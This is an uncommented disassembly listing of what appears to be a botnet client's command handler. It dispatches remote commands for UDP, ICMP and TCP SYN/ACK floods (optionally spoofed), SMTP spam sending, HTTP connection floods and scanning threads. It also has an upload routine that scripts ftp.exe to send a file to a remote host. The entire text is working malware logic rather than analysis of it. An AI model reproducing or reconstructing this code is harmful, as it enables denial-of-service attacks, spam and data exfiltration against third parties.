		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D0F4 ; " "
		push	offset dword_42BBC4
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5A4	; WSAStartup
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6B8	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6B4	; socket
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB634	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5DC	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB64C	; recv
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB684	; send
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB64C	; recv
		push	esi
		call	dword_4CB6CC	; closesocket
		call	dword_4CB58C	; WSACleanup
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0A0


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42B058
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B014
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset sub_413E35
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AFDC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42AFA4


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB724, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset sub_413284
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AF24
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AED0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE98


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE30
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42ADE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset sub_413410
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42ADB0


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AD70
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42AD48
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5A0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42ACD8
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42ACA8


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431AD0, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431AD0


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431AD0[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42AC74
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42AC40
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5D8	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43D7E8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40C33C
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42ABA0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40C759
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AB14
		jmp	loc_403D91
; ---------------------------------------------------------------------------


